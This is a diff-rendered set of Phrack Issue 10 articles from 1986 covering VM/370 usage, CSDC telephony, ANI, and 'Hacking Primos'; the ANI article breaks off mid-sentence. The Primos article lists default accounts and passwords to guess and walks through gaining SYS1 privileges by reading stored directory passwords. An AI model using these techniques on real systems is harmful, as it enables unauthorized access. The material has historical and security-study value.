 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Ten, Phile #4 of 9
4
+
5
+ A Beginner's Guide to:
6
+ The IBM VM/370
7
+ (or what to do once you've gotten in)
8
+
9
+ A monograph by Elric of Imrryr
10
+ Presented by Lunatic Labs UnLimted.
11
+
12
+ KopyRite (K) 1986
13
+ RePrint what you like
14
+ Note: This file is formatted for printing
15
+ on a 80 Column, 55 line printer.
16
+
17
+
18
+
19
+
20
+
21
+
22
+
23
+
24
+
25
+
26
+
27
+
28
+
29
+
30
+
31
+
32
+
33
+
34
+
35
+
36
+
37
+
38
+
39
+
40
+
41
+
42
+
43
+
44
+
45
+
46
+ PREFACE: What this guide is about.
47
+ This was written to help Hackers learn to basics of how to function on an
48
+ IBM VM/370. Not as a guide on how to get in, but on how to use it one
49
+ you have gotten in.
50
+ Comments on this are welcome at RIPCO 312-528-5020.
51
+ Note: To VM/370 Hackers, feel free to add to this file, just give myself
52
+ & Lunatic Labs credit for our parts.
53
+
54
+
55
+
56
+
57
+
58
+
59
+
60
+
61
+
62
+
63
+
64
+
65
+
66
+
67
+
68
+
69
+
70
+
71
+
72
+
73
+
74
+
75
+
76
+
77
+
78
+
79
+
80
+
81
+
82
+
83
+
84
+
85
+
86
+
87
+
88
+
89
+
90
+
91
+
92
+
93
+ PART 1: Logging in & out
94
+ When you connect to a VM/370 system hit RETURN till you see:
95
+
96
+ VM/370
97
+ !
98
+
99
+ To logon you type:
100
+ logon userid ('logon' may be abbreviated to 'l')
101
+ If you enter an invalid userid, It will respond with a message:
102
+ 'userid not in cp directory'.
103
+ If it is valid you with get:
104
+ ENTER PASSWORD:
105
+ Enter your password, then your in, hopefully....
106
+
107
+ Logging Out:
108
+ Type:
109
+ log
110
+
111
+ PART 2: Loading CMS & Getting set up
112
+ When you logon, if you do not see the message 'VM/SP CMS - (date) (time)
113
+ you will need to load 'CMS' (CMS in a command interpreter).
114
+ Type:
115
+ cp ipl cms
116
+ You should then see something like this:
117
+ R; T=0.01/0.01 08:05:50
118
+
119
+ Now you will be able to use both CP & CMS commands...
120
+ Some system my think you are using an IBM 3270 Terminal, if you can
121
+ emulate a 3270 (for example with Crosstalk) do so, if not type:
122
+ set terminal typewriter or set terminal dumb
123
+
124
+ PART 3: Files
125
+ You can list your files by typing:
126
+ filelist
127
+
128
+ Wildcards can be used, so:
129
+ filelist t*
130
+ list all files beginning with a 't'.
131
+ Filenames are made up of a FILENAME and FILETYPE
132
+
133
+ You can list a file by typing:
134
+ listfile filename filetype
135
+
136
+ Other file commands are: copyfile, erase, and rename, they all work with
137
+ FILENAME FILETYPE.
138
+
139
+ PART 4: Editing your files
140
+ I'm going to keep this down to the basics and only discuss one editor
141
+ XEDIT. To use XEDIT type:
142
+ xedit filename filetype
143
+ Once in XEDIT, enter the command 'input' to enter text, hit a RETURN on
144
+ a blank line to return to command mode, then enter the command 'FILE' to
145
+ save your file.
146
+
147
+ PART 5: Communicating with others on the system
148
+ Sending & receiving 'NOTES':
149
+ To send a 'NOTE' to another user type:
150
+ note userid
151
+
152
+ You will then be in the XEDIT subsystem, see PART 4.
153
+ Once you are done writing your NOTE, save the file and type:
154
+ send note
155
+
156
+ This will send the NOTE to userid.
157
+ You can also use the SEND command to send other files by typing:
158
+ send filename filetype userid.
159
+
160
+ Sending messages:
161
+ You can use the TELL command to communicate with a user who is current
162
+ logged on, type:
163
+ tell userid Help me!
164
+
165
+ PART 6: Getting Help
166
+ Type:
167
+ help
168
+
169
+ That's it, good luck.
phrack/issue10/5.txt ADDED
@@ -0,0 +1,229 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Ten, Phile #5 of 9
4
+
5
+ ^ ^
6
+ [<+>] [<+>]
7
+ /|-|\ /|-|\
8
+ \|P|/>/>/>/>/>/>/>/>/>PLP<\<\<\<\<\<\<\<\<\|P|/
9
+ |h| ^ ^ |h|
10
+ |a| ]+[The Executioner]+[ |a|
11
+ |n| |n|
12
+ |t| Call Phreak Klass, Room 2600 |t|
13
+ |o| [806][799][0016] |o|
14
+ |m| |m|
15
+ |s| [Circuit Switched Digital Capability] |s|
16
+ |-| ----------------------------------- |-|
17
+ |S| |S|
18
+ |e| Part I of II in this series of files |e|
19
+ |x| |x|
20
+ |y| Written for PHRACK, Issue 10. |y|
21
+ /|-|\ /|-|\
22
+ \|$|/>/>/>/>/>/>/>/>/>PLP<\<\<\<\<\<\<\<\<\|$|/
23
+ [<+>] [<+>]
24
+
25
+ ========
26
+ =Part I=
27
+ ========
28
+
29
+
30
+ The Circuit Switch Digital Capability (CSDC) allows for the end to end digital
31
+ transmission of 56 kilobits per second (kb/s) data and, alternately, the
32
+ transmission of analog voice signals on a circuit switched basis.
33
+
34
+ =====================
35
+ =Network Perspective=
36
+ =====================
37
+
38
+
39
+ The CSDC feature was formerly known as PSDC (Public Switched Digital
40
+ Capability). These two terms can be used synonymously. The CSDC feature
41
+ provides an alternate voice/data capability. If a SLC Carrier System 96 is
42
+ used, digital signals are transmitted by T1 signal. If the loop is a two wire
43
+ loop, the CSDC feature utilizes time compression multi-plexing (TCM) which
44
+ allows for the transmission of digital signals over a common path using a
45
+ separate time interval for each direction. During a CSDC call an end user may
46
+ alternate between the voice and data modes as many times as desired. The CSDC
47
+ feature can support sub-variable data rates from customer premises equipment,
48
+ but a 56 kb/s rate is utilized in the network. Some possible applications of
49
+ the CSDC feature are:
50
+
51
+ 1. Audiographic Teleconferencing.
52
+ 2. Secure Voice.
53
+ 3. Facsimile.
54
+ 4. Bulk Data.
55
+ 5. Slow scan television.
56
+
57
+ The ESS switch provides end user access and performs signalling, switching,
58
+ and trunking functions between the serving ESS switch and other CSDC offices.
59
+ End users of CSDC require a network channel terminating equipment circuit
60
+ (NCTE) which is the SD-3C476 or its equivalent. End user access is over 2-wire
61
+ metallic loops terminating at the metallic facility terminal (MFT) or SLC
62
+ Carrier System. End users not served directly by a direct CSDC ESS office, can
63
+ access CSDC equipment through a RX (Remote Exchange) access arrangement via
64
+ use of a D4 Carrier System and if required, a SLC Carrier System. The
65
+ T-Carrier trunks serve for short haul transmissions while long haul
66
+ transmissions are served by digital microwave radio and other digital systems.
67
+
68
+ If the NCTE interface is used with customer premises equipment, a miniature
69
+ 8-position series jack is used to connect the NCTE to other equipment. The
70
+ jack pins are paired off; data transmit pair, data receive pair, a voice pair,
71
+ and a mode switch pair. The data pairs support the simultaneous transmission
72
+ and reception of digital data in a bipolar format at 56 kb/s. The data pairs
73
+ also provide for the xmission of control information to and from the network.
74
+ The voice pairs supports analog signal transmission and provides for call
75
+ setup, disconnect and ringing functions. The mode control pair provides
76
+ signals to the network when a change in mode (voice to data/data to voice) is
77
+ requested by the customer.
78
+
79
+ A CSDC call is originated over a 2-wire loop which can also be used for
80
+ Message Telecommunication Service (MTS) calls. Lines may be marked (MTS/CSDC
81
+ or CSDC only). Touch tone is needed to originate a CSDC call. Originations may
82
+ be initiated manually or with Automatic Calling Equipment (ACE) if available.
83
+ Digit reception, transmission and signalling follow the same procedures used
84
+ for a MTS outgoing call on CCIS or non-CCIS trunks. However CSDC calls are
85
+ ALWAYS routed over digital transmission facilities.
86
+
87
+
88
+
89
+ The long term plan also allows for EA-MF (Equal Access-Multi Frequency)
90
+ signalling and improved automatic message accounting (AMA) records. A CSDC
91
+ call is screened to ensure that the originating party has CSDC service and
92
+ that the carrier to be used provides 56 kb/s voice/data capability. A blocked
93
+ call is routed to a special service error announcement. Non-CSDC calls are not
94
+ allowed to route over CSDC-only carriers. Non-payer screening is not allowed
95
+ for CSDC calls using CCIS signalling.
96
+
97
+ A CSDC call is routed directed to the carrier or indirectly via the Access
98
+ Tandem (AT) or Signal Conversion Point (SCP). The call is terminated directly
99
+ from the carrier to the end office or indirectly via the AT or SCP. Signalling
100
+ for direct routing is either CCIS or EA-MF and is assigned on a trunk group
101
+ basis.
102
+
103
+ The AT is an ESS switch which allows access to carriers from an end office
104
+ without requiring direct trunks. Signalling between end offices and the AT is
105
+ either EA-MF or CCIS. Trunks groups using EA-MF signalling can have combined
106
+ carrier traffic. Separate trunk groups for each carrier are required for CCIS
107
+ signalling.
108
+
109
+ The SCP is an ESS switch which allows access to carriers using only CCIS
110
+ signalling from offices without the CCIS capability. Separate trunk groups for
111
+ each carrier are used between the originating end office and the SCP. Separate
112
+ trunk groups are optional between the SCP and the terminating end office and
113
+ the terminating end office. Signalling between the end office and the SCP is
114
+ MF. The SCP must have direct connection to the carrier using CCIS signalling.
115
+
116
+ =========================
117
+ =Remote Switching System=
118
+ =========================
119
+
120
+ The RSS can be used as a remote access point for CSDC. The compatibility of
121
+ RSS and CSDC improves the marketability of both features. The RSS design
122
+ allows a provision for the support of D4 special service channel bank
123
+ plug-ins. This provision allows for such applications as off premises
124
+ extensions, foreign exchanges lines, and private lines. Thus the RSS can be
125
+ used as a CSDC access point in a configuration similar to the CSDC RX
126
+ arrangement.
127
+
128
+ ================
129
+ =Centrex/ESSX-1=
130
+ ================
131
+
132
+ The CSDC feature is optionally available to Centrex/ESSX-1 customers. Most of
133
+ the capabilities of Centrex service can be applied to Centrex lines that have
134
+ been assigned the CSDC feature. In voice mode, the Centrex/CSDC line can
135
+ exercise any of the Centrex group features that have been assigned to the
136
+ line. In the voice/data mode, several Centrex features are inoperable or
137
+ operate only on certain calls. The CSDC feature can be provided for a Centrex
138
+ group as follows:
139
+
140
+ 1. Message Network Basis (MTS)
141
+ 2. IntraCentrex group basis
142
+ 3. InterCentrex group basis
143
+ 4. Any combination of the above
144
+
145
+ ===============================
146
+ =User Perspective for the CSDC=
147
+ ===============================
148
+
149
+ To establish a CSDC call, a CSDC user goes off hook, receives dial tone and
150
+ dials. The dialing format for the CSDC/MTS is as follows for interim plan:
151
+
152
+ #99 AB (1+) 7 or 10 digits (#)
153
+
154
+ The customer dials '#99' to access the CSDC feature. The 'AB' digits are the
155
+ carrier designation code. No dial tone is returned after the 'AB' digits. The
156
+ 1+ prior to the 7 or 10 digit directory number must be used if it is required
157
+ for MTS calls. The '#' at the end is optional, if it is not dialed, end of
158
+ dialing is signalled by a time-out.
159
+
160
+ The long term dialing format for the CSDC/MTS is as follows:
161
+
162
+ #56 (10XXX) (1+) 7 or 10 digits (#)
163
+
164
+ Dialing '#56' indicates 56kb/s alternate voice/data transmission. the '10XXX'
165
+ identifies the carrier to be used for the call. If '10XXX' is not dialed on an
166
+ inter-LATA call, the primary carrier of the subscriber is used. If '10XXX' is
167
+ not dialed on an intra-LATA call, the telco handles the call. The long term
168
+ plan also allows for several abbreviated forms. Dialing '#56 10XXX #' is
169
+ allowed for routing a call which prompts the customer to dial according to the
170
+ carrier dialing plan. Dialing '#56 10XXX' followed by a speed call is also
171
+ allowed. If a customer has pre-subscribed to a carrier which can carry CSDC
172
+ calls and the CSDC access code is stored as part of the speed calling number,
173
+ the customer dials the speed calling code to make a CSDC call.
174
+
175
+ Regular ringing is applied to the called line and audible ringing is applied
176
+ to the calling terminal. Once the voice connection is established, either
177
+ party can initiate the switch to data mode, if desired. To initiate a change
178
+ in mode a CSDC user must initiate a mode switch command via a closure of the NCT
179
+
180
+ An example of a mode switch:
181
+
182
+ Suppose party A wants to switch to data. Party A issues a mode switch
183
+ command and receives a signal called far end voice (FEV) which is a bipolar
184
+ sequence (2031 hz at 60 ipm). Party A may now hang up the handset at any time
185
+ after initiating the mode switch command. Party B receives a far end data
186
+ (FED) tone (2031 Hz at 39 ipm) indicating party A wants to switch to data. If
187
+ party B agrees to switch to data, party B must initiate a mode switch command.
188
+ Party B may nor hang up the handset. Data transmission is now possible.
189
+ To switch to the voice mode, anyone can initiate it. To switch, party A
190
+ would pick up the handset and initiate a mode switch command and will receive
191
+ the FED tone. Party B receives the FEV tone indicating that party A wants to
192
+ go voice. Party B must now pick up the hand set and initiate a mode switch
193
+ command. To terminate a call, either party may just leave the handset on and
194
+ indicate a mode switch. If termination is issued during a mode conflict, time
195
+ out will disconnect the call, usually about 10 or 11 seconds.
196
+
197
+ Centrex/ESSX-1 customers may utilize the CSDC service in several ways if they
198
+ have CSDC terminals with the necessary on premises equipment. The standard
199
+ CSDC call is initiated by dialing the message network access code, (9). The
200
+ dialing sequence is then identical to the plan for MTS:
201
+
202
+ #99 AB (1+) 7 or 10 digits (interim plan)
203
+
204
+ #56 (10XXX) (1+) 7 or 10 digits (#) (long term plan)
205
+
206
+ The dialing pattern to establish interCentrex or intraCentrex CSDC calls is as
207
+ follows:
208
+
209
+ CSDC access code + extension
210
+
211
+ An intraCentrex/CSDC call is initiated by dialing the trunk access code
212
+ assigned to route a loop-around Centrex/CSDC trunk group. Next, the extension
213
+ of the desired station is dialed. To establish an interCentrex call a
214
+ different trunk access code must be used to route the CSDC calls to another
215
+ Centrex group instead of a station.
216
+
217
+ The CSDC maintenance circuit has a dialable digital loopback. This loopback is
218
+ very useful in CSDC testing. A customer can check their access line by dialing
219
+ the test DN. The loop is automatically activated when the call is answered.
220
+
221
+ ================
222
+ =End of Part I.=
223
+ ================
224
+
225
+ Part II: The CSDC hardware, and office data structures.
226
+
227
+ =======================================================
228
+ = (c) 1986 The Executioner and The PhoneLine Phantoms =
229
+ =======================================================
phrack/issue10/6.txt ADDED
@@ -0,0 +1,327 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Ten, Phile #6 of 9
4
+
5
+ -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
6
+ ! !
7
+ # Hacking Primos Part I #
8
+ ! !
9
+ # By Evil Jay #
10
+ ! !
11
+ # Phone Phreakers of America #
12
+ ! !
13
+ # (C) 1986-87 #
14
+ ! !
15
+ -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
16
+
17
+
18
+ Author Note:
19
+
20
+ I should begin by saying that there are other files out there about hacking
21
+ Primos, one written recently, that basically tell you nothing at all as far as
22
+ in-depth Primos is concerned. Those files should be deleted and this put in
23
+ its place. This is the first in many files on Primos, and I will go into many
24
+ topics, such as the on-line network, the different subsystems and other
25
+ subjects. Hope you enjoy!
26
+
27
+
28
+ *** Gaining Entry Part 1 ***
29
+
30
+ Gaining entry, as always, is the hardest part.
31
+
32
+ When you call a Primos system it will connect with something like this:
33
+
34
+
35
+ PRIMENET 19.2.7F PPOA1
36
+
37
+
38
+ If it doesn't give a welcome msg like above trying typing something like
39
+ "XXZZZUUU" and hit return and it should come back with:
40
+
41
+ Invalid command "XXZZZUUU". (logo$cp)
42
+ Login please.
43
+ ER!
44
+
45
+ To login you type:
46
+
47
+ LOGIN <USER ID> <RETURN/ENTER>
48
+
49
+ Or Just:
50
+
51
+ LOGIN <RETURN/ENTER>
52
+ (Then it will ask for your "User ID?")
53
+
54
+
55
+ User ids differ from system to system but there are ALWAYS default accounts to
56
+ try. For "User ID?" try...
57
+
58
+ SYSTEM (This is the operators account and with it you can usually do
59
+ anything.)
60
+ LIB
61
+ DOS
62
+
63
+ After you enter your User ID it will prompt you with:
64
+
65
+ Password?
66
+
67
+ This is of course, where you enter your password. For SYSTEM try...
68
+
69
+ SYSTEM
70
+ SYSMAN
71
+ NETLINK
72
+ PRIMENET
73
+ MANAGER
74
+ OPERATOR
75
+
76
+ And anything else you can think of. These are just common passwords to these
77
+ defaults.
78
+
79
+ For LIB try...
80
+
81
+ LIBRARY
82
+ SYSLIB
83
+ LIB
84
+ SYSTEM
85
+
86
+ For DOS try...
87
+
88
+ DOS
89
+ SYSDOS
90
+ SYSTEM
91
+
92
+ Etc...Just use your brain.
93
+
94
+
95
+ *Older Versions*
96
+
97
+ On older versions of Primos, 18 and below, you could enter one of the system
98
+ defaults above and hit CTRL-C once or twice for the password and it would drop
99
+ you into the system. Whether this is a bug or intentional I don't really have
100
+ any idea. But it does work sometimes. To see what ver of Primos your trying to
101
+ logon to just look at the welcome message when you logon:
102
+
103
+ PRIMENET 19.2.7F PPOA1
104
+
105
+ 19 is the version number. So thus, if you were logging on to this particular
106
+ Prime you would NOT be able to use the above mentioned bug/default-password.
107
+
108
+ By the way, if you do not know what version it is (because it did not give you
109
+ a welcome msg when you connected...try to do the above mentioned anyway.)
110
+
111
+
112
+ Now, if it says:
113
+
114
+
115
+ Invalid user id or password; please try again.
116
+
117
+
118
+ Then you must try a different password. Notice, that the system informs you
119
+ that either the User ID, the password or both are wrong. Don't worry about
120
+ this...just hack the defaults. There have been a lot of rumors spreading
121
+ around about common defaults such as: PHANTOM, PRIMOS, PRIME & FAM, but I
122
+ believe this to be a load of shit. I have never seen a system with these
123
+ defaults on them. But, as far as PRIMOS and PRIME go, these are sometimes
124
+ common accounts but I really don't believe that they are defaults. Also try
125
+ accounts like DEMO & GUEST. These are sometimes common accounts (but never
126
+ very often).
127
+
128
+ Primos does not have limited commands before logon such as Tops 20 and DEC. So
129
+ hacking a Primos is really nothing but taking a guess.
130
+
131
+
132
+ ** No passwords **
133
+
134
+ Some users have been known to use a carriage return for their password which
135
+ in other words means, once you enter your user id, your logged in without
136
+ having to enter a password. Sometimes, these are default passwords assigned by
137
+ the system operator, but that is rare. If you can get the format (perhaps you
138
+ already have any account) for the regular user id's, then try passwords like:
139
+
140
+ NETLINK
141
+ SYSTEM
142
+ PRIME
143
+ PRIMENET
144
+ PRIMOS
145
+
146
+ And other typical user passwords like sex, hot, love...etc. Most female users
147
+ that I have talked to on a local university prime all seem to have picked
148
+ account that have something to do with sex...sex being the most popular.
149
+
150
+
151
+ ** The Format **
152
+
153
+ The format for a user id can be just about ANYTHING the operators or system
154
+ owners want...and they are usually random looking things that make no sense.
155
+ They can be a combination of numbers, numbers and I am almost sure CTRL
156
+ characters can be used. Lower & Upper case do not matter...the system, changes
157
+ all lower case entry to upper case. Passwords can be anything up to 16
158
+ characters in length.
159
+
160
+
161
+ ** Your In! **
162
+
163
+ If you get a valid ID/Password you will see something like this:
164
+
165
+
166
+
167
+ PPOA1 (user 39) logged in Monday, 15 Dec 86 02:29:16.
168
+ Welcome to PRIMOS version 19.4.9.
169
+ Last login Friday, 12 Dec 86 08:29:04.
170
+
171
+
172
+ Congratulate yourself, you just did something that should be called something
173
+ of an achievement!
174
+
175
+ The next part will deal with very basic commands for beginners. I would like
176
+ to end this part with a few more words. Yes, Primos is hard to hack, but given
177
+ the time and patience almost every system has those basic demo accounts and
178
+ CAN be hacked. Most hackers tend to stay away from Primes, little knowing that
179
+ Primos is a system that is very entertaining and certainly kept me up late
180
+ hours of the night. Have fun and keep on hacking. If you have any questions or
181
+ comments, or I have made some sort of error, by all means get in touch with me
182
+ at whatever system you have seen me on...
183
+
184
+
185
+ ** Now For The Good Shit **
186
+
187
+ This part was originally going to be a beginners introduction to commands on a
188
+ Primos system. Instead I decided to write a part which should help ANYONE with
189
+ a low level account gain system access. I would also like to thank PHRACK Inc.
190
+ on the wonderful job they are doing...without PHRACK I don't really know for
191
+ sure how I would have distributed my files. Oh yes, I know of all the other
192
+ newsletters and the like, but with PHRACK it was only a matter of getting a
193
+ hold of one of the people in charge, which is a simple matter since their
194
+ mailbox number is widely known to the hack/phreak community. I would also like
195
+ to encourage boards of this nature to support PHRACK fully, and I would also
196
+ like to congratulate you guys, once again, for the great job your doing. Now,
197
+ on with the file.
198
+
199
+
200
+
201
+ ** Stuff You Should Know **
202
+
203
+ The explanation I am going to (try to) explain will NOT work all the time...
204
+ probably 60% of the time. Since I discovered this, or at least was the first
205
+ to put it in "print" I would at least ask those system operators out there to
206
+ keep my credits and the credits of my group in this file.
207
+
208
+
209
+ ** Some More Stuff **
210
+
211
+ First, this is not exactly a "novice"-friendly file. You should be familiar
212
+ with the ATTACH and SLIST commands before proceeding. They are quite easy to
213
+ learn, and it is really not required to use this file, but just the same,
214
+ these are important commands in learning the Primos system so you should at
215
+ least be familiar with them. To get help on them type:
216
+
217
+ HELP SLIST
218
+
219
+ or
220
+
221
+ HELP ATTACH
222
+
223
+ You should also play with the commands until you know all of their uses.
224
+
225
+
226
+ ** Okay, Here We Go **
227
+
228
+ This file is not going to explain everything I do. I'm just going to show you
229
+ how to get SYS1 privileged accounts.
230
+
231
+
232
+ First, log on to your low access account.
233
+
234
+ Type:
235
+
236
+ ATTACH MFD
237
+
238
+ Then get a DIR using:
239
+
240
+ LD
241
+
242
+ Okay, your now seeing a dir with a lot of sub-directories. The only files that
243
+ should be in the main directory (most of the time) are BOOT and SYS1. Ignore
244
+ these...look for a file called CCUTIL or something with the word UTILITY or
245
+ UTIL or UTILITIES...something that looks like UTILITY...
246
+
247
+
248
+ Okay, ATTACH to that directory with:
249
+
250
+ ATTACH <NAME OF DIRECTORY>
251
+
252
+ Now, do an LD again and look at the files. Now, here is the part that is
253
+ really random. Since not every PRIME system will have the same UTILITY
254
+ programs, just look at any that have an extension ".CPL". There might be one
255
+ called USRLST.CPL. Type:
256
+
257
+
258
+ SLIST USRLST <NO NEED TO TYPE ".CPL" AT THE END.>
259
+
260
+
261
+ Okay, it should be printing a whole bunch of bullshit. Now in this program
262
+ there SHOULD be a line that looks like the following:
263
+
264
+
265
+ A CCUTIL X
266
+
267
+
268
+ Now, CCUTIL is the name of the dir you are on so I have to point out that
269
+ CCUTIL WILL NOT ALWAYS BE THE NAME OF THAT UTILITY DIRECTORY. So if the name
270
+ of the UTILITY directory you are on is called UTILITY then the line will look
271
+ like this:
272
+
273
+
274
+ A UTILITY X
275
+
276
+
277
+ Now, the X is the PASSWORD OF THAT DIRECTORY. AGAIN, IT CAN BE ANYTHING. The
278
+ password may be UTILITY which means it will look like this:
279
+
280
+
281
+ A UTILITY UTILITY
282
+
283
+
284
+ Or the password may be SECRET. So:
285
+
286
+
287
+ A UTILITY SECRET
288
+
289
+
290
+ Pat yourself on the ass...you know have SYS1 access. Log back in with the
291
+ LOGIN command (or if it doesn't work just LOGOUT and LOGIN again). Enter
292
+ UTILITY or CCUTIL (or WHATEVER THE NAME OF THE DIRECTORY WAS) as the user id.
293
+ Then for the password just enter the password. If this doesn't work, then what
294
+ you will have to do is try out other sub-directories from the MFD directory.
295
+ Then SLIST other programs with the extension. In one of my other PRIME files I
296
+ will fully explain what I have just done and other ways to get the
297
+ directories/ids password.
298
+
299
+
300
+ Now, if you don't see any line in the program like:
301
+
302
+
303
+ S <NAME OF DIR> <PASSWORD>
304
+
305
+
306
+ Then list other programs in the utility program or try other directories. I
307
+ have gained SYS1 access like this 60% of them time. And NOT ALWAYS ON THE
308
+ UTILITY DIRECTORY.
309
+
310
+
311
+ That is about it for this file. Stay tuned for a future PHRACK issue with
312
+ another PRIME file from me. If I don't change my mind again, the next file
313
+ will deal with basic commands for beginners.
314
+
315
+
316
+
317
+ -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
318
+ ! !
319
+ # This Has Been An: #
320
+ ! !
321
+ # Evil Jay Presentation #
322
+ ! !
323
+ # Phone Phreaks of America #
324
+ ! !
325
+ # (C) 1986-87 #
326
+ ! !
327
+ -#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
phrack/issue10/7.txt ADDED
@@ -0,0 +1,170 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Ten, Phile #7 of 9
4
+
5
+ Automatic Number Idenfification
6
+
7
+
8
+ Written by Doom Prophet and Phantom Phreaker
9
+
10
+
11
+ Automatic Number Identification (ANI) is nothing more than automatic means
12
+ for immediately identifying the Directory Number of a calling subscriber. This
13
+ process made it possible to utilize CAMA* (Centralized Automatic Message
14
+ Accounting) systems in SxS, Panel, and Xbar #1 offices.
15
+
16
+ The identity of the calling line is determined by ANI circuits installed
17
+ in the types of CO's mentioned above. Xbar#5 offices have their own AMA
18
+ (Automatic Message Accounting) equipment and utilize an AMA translator for
19
+ automatically identifying the calling line.
20
+
21
+ Before ANI was developed, each subscriber line (also called a local loop)
22
+ had a mechanical marking device that kept track of toll charges. These devices
23
+ were manually photographed at the end of the billing period and the amount of
24
+ the subscribers bill was determined from that. This process was time
25
+ consuming, so a new system (ANI) was developed.
26
+
27
+ The major components of the ANI system used in SxS and Crossbar #1 are:
28
+
29
+ Directory number network and bus arrangement* for connecting the sleeve(the
30
+ lead that is added to the R(ing) and T(ip) wires of a cable pair at the MDF*
31
+ (Main Distribution Frame));
32
+
33
+ A lead of each line number through an identifier connector to the identifier
34
+ circuit;
35
+
36
+ Outpulser and Identifier connector circuit to seize an idle Identifier;
37
+
38
+ Identifier circuit to ascertain the calling party's number and send it to the
39
+ outpulser for subsequent transmission through the outpulser link to the ANI
40
+ outgoing trunk;
41
+
42
+ An ANI outgoing trunk to a Tandem office equipped with a CAMA system.
43
+
44
+ The following is a synopsis of the ANI operations with respect to a toll
45
+ call through a #1Xbar office. The call is handled in the normal manner by the
46
+ CO equipment and is routed through an ANI outgoing trunk to a Tandem office.
47
+ The identification process starts as soon as all digits of the called number
48
+ are received by the CAMA sender in the Tandem office and when the district
49
+ junctor in the Xbar office advances to its cut-through position (a position of
50
+ the connecting circuits or paths between the line-link and trunk-link frames
51
+ in the CO).
52
+
53
+ Upon receiving the start identification signal from the CAMA equipment,
54
+ the ANI outgoing trunk (OGT) establishes a connection through an outpulser
55
+ link to an idle outpulser circuit. An idle identifier is then seized by the
56
+ outpulser circuit through an internal Identifier connector unit. Then the
57
+ identifier through the connector unit connects to the directory number network
58
+ and bus system.
59
+
60
+ At the same time, the identifier will signal the ANI trunk to apply a
61
+ 5800Hz identification tone to the sleeve lead of the ANI trunk. The tone is
62
+ transmitted at a two-volt level over the S lead paths through the directory
63
+ number network and bus system. It will be attenuated or decreased to the
64
+ microvolt range by the time the identifier circuit is reached, necessitating
65
+ a 120dB voltage amplification by the amplifier detector equipment in the
66
+ identifier to insure proper digit identification and registration operations.
67
+
68
+ A single ANI installation can serve as many as six CO's in a multi-office
69
+ building. The identifier starts its search for the calling line number by
70
+ testing or scanning successively the thousands secondary buses of each CO.
71
+ When the 5800Hz signal is detected, the identifier grounds corresponding leads
72
+ to the outpulser, to first register the digit of the calling office and then
73
+ the thousands digit of the calling subscriber's number. The outpulser
74
+ immediately translates the digit representing the calling office code into its
75
+ own corresponding three digit office code. The identifier continues its
76
+ scanning process successively on the groups of hundreds, tens, and units
77
+ secondary buses in the calling office, and the identified digits of the
78
+ calling number are also registered and translated in the outpulser's relay
79
+ equipment for transmission to the tandem office.
80
+ The outpulser is equipped with checking and timing features to promptly detect
81
+ and record troubles encountered (This process may be responsible for some of
82
+ the cards found while trashing). Upon completion of the scanning process, it
83
